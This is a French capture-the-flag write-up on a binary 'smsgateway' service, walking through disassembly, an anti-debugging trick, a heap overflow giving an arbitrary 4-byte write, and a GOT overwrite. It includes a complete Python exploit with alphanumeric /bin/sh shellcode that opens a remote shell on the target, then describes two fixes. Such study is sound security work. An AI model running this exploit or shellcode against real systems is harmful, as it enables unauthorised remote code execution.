FR EN

Smsgateway service

<< Mailgateway service

Description fonctionnelle

Le service smsgateway était un service de messagerie écrit en C, compilé pour x86, sans sources à disposition.

Le serveur attend sur le port 1991. Pour chaque nouvelle connexion, il forke la fonction manage_tcp_client. Le socket est le stdin + stdout de ce process. stderr reste la sortie standard du listener.

Lors d'une connexion, l'utilisateur doit fournir les données d'un message à envoyer précisément formatés :

I(taille totale du message) | I(taille timestamp) | S(timestamp) | I(taille sender) | S(sender) | I(taille subject) | S(subject) | I(taille body) | S(body) | I(n_devices = X) | I(dev1_offset) | ... | I(devX_offset) | I(dev0_status = 0) | I(taille dev0) | S(dev0 = carrier:number) | ... | I(devX_status = 0) | I(taille devX) | S(devX = carrier:number) 

Les I() sont des entiers sur 4 bytes big endian. Les S() sont des chaînes de caractères sans restriction a priori. Les | représentent juste une concaténation.

L'envoi d'un message cause la création d'un fichier /home/smsgateway/messages/sender (nom du fichier tronqué à 1023 bytes) dans lequel le timestamp et le sujet du message sont ajoutés à la fin si tout s'est bien passé. Le contenu entier du fichier est ensuite restitué sur l'entrée standard. Chaque carrier reconnu est associé à un fichier dans lequel les numéros sont écrits puis processés (en réalité, juste supprimés).

Heap overflow

Ce reversing était plus long que mailgateway car il y avait plus de code à analyser essentiellement. On remarque encore à l'objdump un mprotect, qu'on trouve cette fois dans le main :

8049b95:      movl $0x7,0x8(%esp)
8049b9d:      mov %eax,0x4(%esp)
8049ba1:      mov 0x40(%esp),%eax
8049ba5:      mov %eax,(%esp)
8049ba8:      call 8048b44 <mprotect@plt>

esp + 0x40 contient l'adresse de base de la page de msg_info et eax la taille de la zone (différence entre l'adresse de la page de base et l'adresse de la page suivant msg_info +0x10008 - 1. Le 7 correspond à PROT_READ|PROT_WRITE|PROT_EXEC. La raison de ce mprotect est une petite technique d'anti-debugging utilisée plus loin :

8049f25:      movb $0x68,0x804c100
8049f2c:      mov $0x804c100,%eax
8049f31:      lea 0x1(%eax),%edx
8049f34:      mov $0x80490dc,%eax
8049f39:      mov %eax,(%edx)
8049f3b:      movb $0xc3,0x804c105
8049f42:      mov $0x804c100,%eax
8049f47:      call *%eax

Pour que le debuggeur ne sache pas que la fonction tcp_manage_client est appellée, main() place à msg_info "\x68\xdc\x90\x04\x08\xc3" puis fait un appel à msg_info, ce qui revient à exécuter un simple call 0x080490dc ; ret. 0x080490dc est bien l'adresse de tcp_manage_client() mais aura forcé la région msg_info à être RWX. Cette région paraît donc une place de choix pour un éventuel shellcode si nous pouvons y insérer des données.

On observe un heap overflow dès le début de la fonction tcp_manage_client :

804921e:      movl $0x0,-0x420(%ebp)
8049228:      jmp 80492d9 <manage_tcp_client+0x1fd>
804922d:      mov -0x420(%ebp),%eax
8049233:      add $0x804c100,%eax
8049238:      movl $0x1,0x8(%esp)
8049240:      mov %eax,0x4(%esp)
8049244:      movl $0x0,(%esp)
804924b:      call 8048af4 <read@plt>
8049250:      mov %eax,-0x41c(%ebp)
8049256:      cmpl $0x0,-0x41c(%ebp)
804925d:      jns 8049295 <manage_tcp_client+0x1b9>
[...]			// traitement d'erreur si le read retourne < 0
8049295:      cmpl $0x0,-0x41c(%ebp)
804929c:      jne 80492d2 <manage_tcp_client+0x1f6>
[...]			// traitement d'erreur si le read retourne 0
80492d2:      addl $0x1,-0x420(%ebp)
80492d9:      mov -0x420(%ebp),%eax
80492df:      cmp -0x418(%ebp),%eax
80492e5:      jl 804922d <manage_tcp_client+0x151>

ebp - 0x418 contient les 4 premiers bytes reçues passées dans ntohl() et 0x804c100 est le début du buffer msg_info de taille 0x10000. On a donc une boucle classique qui lit *(ebp - 0x418) bytes et les place dans le buffer msg_info tant qu'il n'y a pas d'erreur sur la socket.

Bien plus tard (et c'est pour ça que ce reverse était long), pendant le traitement des devices, on a le petit snippet suivant :

80495a5:      mov -0x44c(%ebp),%eax
80495ab:      add -0x450(%ebp),%eax
80495b1:      mov %eax,-0x448(%ebp)
80495b7:      mov -0x448(%ebp),%eax
80495bd:      mov 0x805c100,%edx
80495c3:      mov %edx,(%eax)

ebp - 0x44c est l'offset pour le device en cours de traitement (récupéré par la fonction read_int() dans les données que nous envoyons). ebp - 0x450 pointe vers msg_info + offset table devices + 4*nb_devices. Nb_devices est également récupéré par la fonction read_int() et l'offset de la table des devices dépend aussi du payload que nous fournissons. 0x805c100 est msg_info + 0x10000. Sa valeur est initialisée à 1 au début de manage_tcp_client. En réalité, msg_info + 0x10000 et msg_info + 0x10004 sont les constantes 1 et 2 qui indiquent pour chaque device s'il a été traité ou non.

Nous avons donc une écriture à une adresse arbitraire car nous contrôlons l'offset, d'une valeur arbitraire car nous pouvons écraser msg_info + 0x10000.

Exploitation

Les exploitations de vulnérabilités 4 bytes write anywhere cherchent classiquement à réécrire un offset de la GOT. La GOT a le bon gout d'être à une adresse fixe, d'être modifiable et de ne pas être inclue dans le relro (puisqu'elle est modifiée pendant le runtime).

Les trois premières fonctions de librairies utilisées après l'overwrite sont dans l'ordre ntohl, malloc et memcpy. Puisque ntohl et malloc échouent proprement dans tous les cas a priori, on peut utiliser n'importe laquelle des trois. Ceci dit, on ne peut pas choisir une autre fonction car le memcpy va probablement segfault s'il est exécuté normalement : il ressemblera à memcpy(0, notre entrée GOT + 4, valeur initiale de notre entrée GOT). Pour ma part j'ai pris la première, donc ntohl.

On construit donc le payload de manière à écraser msg_info + 0x10000 avec l'adresse du shellcode qui est contenu n'importe où dans le message. On insère également pour l'un des devices un offset de telle manière à ce que la fin de la table des offsets + cet offset pointe vers notre entrée GOT.

Ici aussi, j'ai utilisé un maximum des chaines de caractères alphanum random ainsi qu'un shellcode alphanum pour rendre plus complexe le reverse (surtout qu'il y a plus de 65500 bytes dans l'overflow). Mais cet overflow précis a le mauvais goût d'être rejouable tel quel.

#!/usr/bin/python

import socket
import sys
import time
import re
import string
import random

base=0x804c100 # msg_info @ DATA
target=0x0804c034 # ntohl @ GOT

# Shellcode alphanum exec /bin/sh
# msfpayload linux/x86/exec CMD=/bin/sh R | msfencode -e x86/alpha_mixed -t c
shellcode="\x89\xe7\xda\xd1\xd9\x77\xf4\x5e\x56\x59\x49\x49\x49\x49\x49" + \
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" + \
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" + \
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" + \
"\x51\x7a\x54\x4b\x52\x78\x4d\x49\x51\x42\x45\x36\x51\x78\x54" + \
"\x6d\x43\x53\x4c\x49\x4d\x37\x51\x78\x56\x4f\x54\x33\x50\x68" + \
"\x45\x50\x52\x48\x54\x6f\x43\x52\x45\x39\x52\x4e\x4c\x49\x4d" + \
"\x33\x50\x52\x5a\x48\x43\x38\x43\x30\x45\x50\x43\x30\x56\x4f" + \
"\x45\x32\x52\x49\x50\x6e\x54\x6f\x54\x33\x51\x78\x47\x70\x43" + \
"\x67\x56\x33\x4e\x69\x49\x71\x58\x4d\x4b\x30\x41\x41"

# generate random strings
def random_string(size_max, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase, fixed_size=0):
	if fixed_size == 1:
		sz = size_max
	else:
		sz = random.choice(range(size_max))
	if sz == 0:
		sz=1
	return ''.join(random.choice(chars) for x in range(sz))

def bigend_int(i):
	str=""
	str += chr((i >> 24) & 0xff)
	str += chr((i >> 16 ) & 0xff)
	str += chr((i >> 8) & 0xff)
	str += chr(i & 0xff)
	return str

time=random_string(10000)
len_time=len(time)
payload=bigend_int(len_time) + time

sender=random_string(100)
len_sender=len(sender)
payload += bigend_int(len_sender) + sender

subject=random_string(20000)
len_subject=len(subject)
payload += bigend_int(len_subject) + subject

shellcode_loc=base + 4 + len(payload)
print "[+] Shellcode location: " + str(hex(shellcode_loc)) + " (len=" + str(len(shellcode)) + ")"
body=shellcode + random_string(18000)
len_body=len(body)
payload += bigend_int(len_body) + body

devices=[]
dev_payload=""
nb_devices=random.choice(range(1, 15))
print "[+] Nb devices: " + str(nb_devices)
payload += bigend_int(nb_devices)
crafted_device = random.choice(range(0, nb_devices))
for i in range(0, nb_devices):
	if i == crafted_device:
		dist_to_target=target-(base+len(payload)+4*(nb_devices - i))
		print "[+] Distance to GOT entry: " + str(hex(dist_to_target)) + " ; inserted in device " + str(i)
		payload += bigend_int(dist_to_target)
	else:
		payload += bigend_int(len(dev_payload))
	dev_payload += bigend_int(i)
	dev = random.choice(["verizon", "at&t", "t-mobile", "sprint", random_string(15)]) + ":" + random_string(7, fixed_size=1, chars=string.digits)
	dev_payload += bigend_int(len(dev))
	dev_payload += dev

payload = payload + dev_payload
for i in range(len(payload), 0x10000):
	payload += random_string(1, fixed_size=1)

# Inserting shellcode location at msg_info + 0x10000
payload += bigend_int(shellcode_loc)[::-1]

for i in range(0, 4):
	payload += random_string(1, fixed_size=1)

payload = bigend_int(len(payload)) + payload

sock = socket.socket()
sock.connect((sys.argv[1], 1991))
print "[+] Injecting payload"
sock.send(payload + "\n")

command = "whoami\nexit\n"
print "[+] Injecting command: " + ";".join(command.split("\n"))
sock.send(command)

payload = ""
while 1:
	c = sock.recv(1)
	if c != "":
		payload += c
	else:
		break
print payload
Correction de la vulnérabilité

Avec un (bon) proxy applicatif, il suffit de vérifier que les 4 premiers bytes donnent un entier big endian inférieur ou égal à 0x10000, et le mettre à 0x10000 sinon.

Sans proxy applicatif, un patch possible de l'application sans modifier d'offset est de ne pas utiliser msg_info + 0x10000 et msg_info + 0x10004 en les remplaçant par leurs valeurs constantes respectives, 1 et 2. A 0x80495bd, mov 0x805c100, %edx devient movl $1, %edx et à 0x80497c8, mov 0x805c104, %edx devient movl $2, %edx.

<< Mailgateway service